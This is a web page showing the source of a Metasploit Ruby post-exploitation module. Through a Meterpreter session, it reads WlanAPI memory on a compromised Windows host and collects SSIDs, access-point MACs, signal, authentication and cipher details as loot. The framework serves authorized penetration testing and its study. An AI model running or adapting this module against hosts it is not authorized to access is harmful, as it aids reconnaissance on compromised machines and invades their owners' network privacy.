Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/wlan/wlan_current_connection.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Gather Wireless Current Connection Info',
14
'Description' => %q{
15
This module gathers information about the current connection on each
16
wireless lan interface on the target machine.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => ['theLightCosine'],
20
'Platform' => [ 'win' ],
21
'SessionTypes' => [ 'meterpreter' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_railgun_api
26
stdapi_sys_process_attach
27
stdapi_sys_process_getpid
28
]
29
}
30
},
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [],
34
'Reliability' => []
35
}
36
)
37
)
38
end
39
40
def run
41
# Opens memory access into the host process
42
mypid = client.sys.process.getpid
43
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
44
@wlanapi = client.railgun.wlanapi
45
46
wlan_connections = "Wireless LAN Active Connections: \n"
47
wlan_handle = open_handle
48
unless wlan_handle
49
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
50
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
51
return
52
end
53
wlan_iflist = enum_interfaces(wlan_handle)
54
55
wlan_iflist.each do |interface|
56
connect_info = query_current_connection(wlan_handle, interface['guid'])
57
guid = guid_to_string(interface['guid'])
58
wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
59
if connect_info
60
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
61
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
62
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
63
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
64
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
65
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
66
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
67
else
68
wlan_connection << "\tThis interface is not currently connected to a network\n"
69
end
70
print_good(wlan_connection)
71
wlan_connections << wlan_connection
72
end
73
74
wlan_connections.gsub!(/\x00/, '')
75
store_loot('host.windows.wlan.connections', 'text/plain', session, wlan_connections, 'wlan_connections.txt', 'Wireless LAN Connections')
76
# close the Wlan API Handle
77
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
78
if closehandle['return'] == 0
79
print_status('WlanAPI Handle Closed Successfully')
80
else
81
print_error('There was an error closing the Handle')
82
end
83
end
84
85
def open_handle
86
begin
87
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
88
rescue StandardError
89
return nil
90
end
91
return wlhandle['phClientHandle']
92
end
93
94
def query_current_connection(wlan_handle, guid)
95
connection = {}
96
conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)
97
# Grab the pointer to our data structure. We skip voer the Interface State since we already have it
98
# We interpret the connection mode used first
99
pointer = conn_info['ppData']
100
pointer = (pointer + 4)
101
mode = @host_process.memory.read(pointer, 4)
102
mode = mode.unpack('V')[0]
103
case mode
104
when 0
105
connection['mode'] = 'A profile is used to make the connection.'
106
when 1
107
connection['mode'] = 'A temporary profile is used to make the connection.'
108
when 2
109
connection['mode'] = 'Secure discovery is used to make the connection.'
110
when 3
111
connection['mode'] = 'Unsecure discovery is used to make the connection.'
112
when 4
113
connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'
114
when 5
115
connection['mode'] = 'Invalid connection mode.'
116
else
117
connection['state'] = 'Unknown connection Mode.'
118
end
119
120
# Grab the wirelessprofile name used in the connection
121
pointer = (pointer + 4)
122
profile = @host_process.memory.read(pointer, 512)
123
connection['profile'] = profile.gsub(/\x00/, '')
124
125
# Check the size of the SSID value. If we get nothing back, the interface is not currently connected
126
# We return nil and deal with the results back in the calling function
127
pointer = (pointer + 512)
128
len_ssid = @host_process.memory.read(pointer, 4)
129
unless len_ssid.unpack('V')[0]
130
return nil
131
end
132
133
# Grabs the SSID of the BSS connected to
134
pointer = (pointer + 4)
135
ssid = @host_process.memory.read(pointer, 32)
136
connection['ssid'] = ssid.gsub(/\x00/, '')
137
138
# Grabs what type of a BSS this is and itnerpretes it into human readable
139
pointer = (pointer + 32)
140
bsstype = @host_process.memory.read(pointer, 4)
141
bsstype = bsstype.unpack('V')[0]
142
case bsstype
143
when 1
144
connection['type'] = 'Infrastructure'
145
when 2
146
connection['type'] = 'Independent'
147
when 3
148
connection['type'] = 'Any'
149
else
150
connection['type'] = 'Unknown BSS Type'
151
end
152
153
# Grabs the BSS MAC address
154
pointer = (pointer + 4)
155
bssid = @host_process.memory.read(pointer, 6)
156
bssid = bssid.unpack('H*')[0]
157
bssid.insert(2, ':')
158
bssid.insert(5, ':')
159
bssid.insert(8, ':')
160
bssid.insert(11, ':')
161
bssid.insert(14, ':')
162
connection['bssid'] = bssid
163
164
# Grabs the physical association type and interprets it into human readable
165
pointer = (pointer + 8)
166
phy_type = @host_process.memory.read(pointer, 4)
167
phy_type = phy_type.unpack('V')[0]
168
case phy_type
169
when 1
170
connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
171
when 2
172
connection['physical'] = 'Direct sequence spread spectrum (DSSS)'
173
when 3
174
connection['physical'] = 'Infrared (IR) baseband'
175
when 4
176
connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
177
when 5
178
connection['physical'] = 'High-rate DSSS (HRDSSS)'
179
when 6
180
connection['physical'] = 'Extended rate PHY type'
181
when 7
182
connection['physical'] = '802.11n PHY type'
183
else
184
connection['physical'] = 'Unknown Association Type'
185
end
186
187
# Grabs the signal strength value
188
pointer = (pointer + 8)
189
signal = @host_process.memory.read(pointer, 4)
190
connection['signal'] = signal.unpack('V')[0]
191
192
# Grabs the receive rate value
193
pointer = (pointer + 4)
194
rxrate = @host_process.memory.read(pointer, 4)
195
connection['rxrate'] = rxrate.unpack('V')[0]
196
197
# Grabs the transmit rate value
198
pointer = (pointer + 4)
199
txrate = @host_process.memory.read(pointer, 4)
200
connection['txrate'] = txrate.unpack('V')[0]
201
202
# Checks if security is enabled on this BSS
203
pointer = (pointer + 4)
204
security_enabled = @host_process.memory.read(pointer, 4)
205
if security_enabled.unpack('V')[0] == 1
206
connection['security'] = 'Yes'
207
else
208
connection['security'] = 'No'
209
end
210
211
# Checks of 802.1x Authentication is used
212
pointer = (pointer + 4)
213
onex = @host_process.memory.read(pointer, 4)
214
if onex.unpack('V')[0] == 1
215
connection['oneX'] = 'Yes'
216
else
217
connection['oneX'] = 'No'
218
end
219
220
# Determines wat Authentication Algorithm is being used
221
pointer = (pointer + 4)
222
algo = @host_process.memory.read(pointer, 4)
223
algo = algo.unpack('V')[0]
224
case algo
225
when 1
226
connection['auth'] = '802.11 Open'
227
when 2
228
connection['auth'] = '802.11 Shared'
229
when 3
230
connection['auth'] = 'WPA'
231
when 4
232
connection['auth'] = 'WPA-PSK'
233
when 5
234
connection['auth'] = 'WPA-None'
235
when 6
236
connection['auth'] = 'RSNA'
237
when 7
238
connection['auth'] = 'RSNA with PSK'
239
else
240
connection['auth'] = 'Unknown Algorithm'
241
end
242
243
# Determines what Cipher is being used
244
pointer = (pointer + 4)
245
cipher = @host_process.memory.read(pointer, 4)
246
cipher = cipher.unpack('V')[0]
247
case cipher
248
when 0
249
connection['cipher'] = 'None'
250
when 1
251
connection['cipher'] = 'WEP-40'
252
when 2
253
connection['cipher'] = 'TKIP'
254
when 4
255
connection['cipher'] = 'CCMP'
256
when 5
257
connection['cipher'] = 'WEP-104'
258
when 256
259
connection['cipher'] = 'Use Group Key'
260
when 257
261
connection['cipher'] = 'WEP'
262
else
263
connection['cipher'] = 'Unknown Cipher'
264
end
265
return connection
266
end
267
268
def enum_interfaces(wlan_handle)
269
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
270
pointer = iflist['ppInterfaceList']
271
272
numifs = @host_process.memory.read(pointer, 4)
273
numifs = numifs.unpack('V')[0]
274
275
interfaces = []
276
277
# Set the pointer ahead to the first element in the array
278
pointer = (pointer + 8)
279
(1..numifs).each do |_i|
280
interface = {}
281
# Read the GUID (16 bytes)
282
interface['guid'] = @host_process.memory.read(pointer, 16)
283
pointer = (pointer + 16)
284
# Read the description(up to 512 bytes)
285
interface['description'] = @host_process.memory.read(pointer, 512)
286
pointer = (pointer + 512)
287
# Read the state of the interface (4 bytes)
288
state = @host_process.memory.read(pointer, 4)
289
pointer = (pointer + 4)
290
291
# Turn the state into human readable form
292
state = state.unpack('V')[0]
293
case state
294
when 0
295
interface['state'] = 'The interface is not ready to operate.'
296
when 1
297
interface['state'] = 'The interface is connected to a network.'
298
when 2
299
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
300
when 3
301
interface['state'] = 'The interface is disconnecting from the current network.'
302
when 4
303
interface['state'] = 'The interface is not connected to any network.'
304
when 5
305
interface['state'] = 'The interface is attempting to associate with a network.'
306
when 6
307
interface['state'] = 'Auto configuration is discovering the settings for the network.'
308
when 7
309
interface['state'] = 'The interface is in the process of authenticating.'
310
else
311
interface['state'] = 'Unknown State'
312
end
313
interfaces << interface
314
end
315
return interfaces
316
end
317
318
# Convert the GUID to human readable form
319
def guid_to_string(guid)
320
aguid = guid.unpack('H*')[0]
321
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
322
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
323
sguid << '-' + aguid[20, 12] + '}'
324
return sguid
325
end
326
end
327
328